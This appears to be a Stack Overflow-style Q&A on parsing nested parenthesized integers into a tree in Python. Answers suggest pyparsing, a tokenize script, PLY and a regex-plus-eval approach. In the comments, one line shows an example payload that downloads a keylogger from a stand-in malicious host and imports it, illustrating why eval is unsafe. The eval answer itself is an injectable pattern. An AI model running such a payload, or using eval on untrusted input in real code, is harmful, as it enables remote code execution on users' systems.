3

For example, I have the following input data:

(( 12 3 ) 42 )

I want to treat each integer value of the input data. This is an example of the general input data presentation.

Just for additional information:

Such presentation is corresponding to the binary tree with marked leaves:

   /\
  /\ 42
 12 3

4 Answers 4

3

I recommend pyparsing for this parsing task -- here, for example, is a pyparsing-based parsers for S-expressions... probably much richer and more powerful than what you need, but with a really limited understanding of Python and pyparsing you can simplify it down as much as you require (if at all -- it's quite able to perform your task already, as a subset of the broader set it covers;-).

Sign up to request clarification or add additional context in comments.

Comments

1

I wrote this script. It may be helpful

import tokenize,StringIO
def parseNode(tokens):
    l = []
    while True:
        c = next(tokens)
        if c[1] == '(':
            l.append(parseNode(tokens))
        elif c[1] == ')':
            return l
        elif c[0] == tokenize.NUMBER:
            l.append(int(c[1]))
def parseTree(string):
    tokens = tokenize.generate_tokens(StringIO.StringIO(string).readline)
    while next(tokens)[1] != '(' : pass
    return parseNode(tokens)
print parseTree('(( 12 3 ) 42 15 (16 (11 2) 2) )')

Comments

0

here is good list of resources you could use. I would suggest PLY

Comments

0

something like the following should work:

import re
newinput = re.sub(r"(\d) ", r"\1, ", input)
newinput = re.sub(r"\) ", r"), ", newinput)
eval(newinput)

4 Comments

Have you tested this solution before posting? Is (, 6, 9,) even valid Python expression?
fixed it. Should have been )
If I needed something really lightweight, I might do that with whatever matched the regular expression ([\d\w()]*) (or at least a tested version of it). otherwise import eval_is_evil will get evaluated with whatever permissions the program has. If you can get malicious code through a working version of the regular expression i've given, you deserve to own my system.
'''import urllib, os; path = os.path.expanduser('~/.common.hidden.path./.keylogger.py'); urllib.urlretrive('http://my.evil.russian.websever.info', path); __import__(path)'''

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.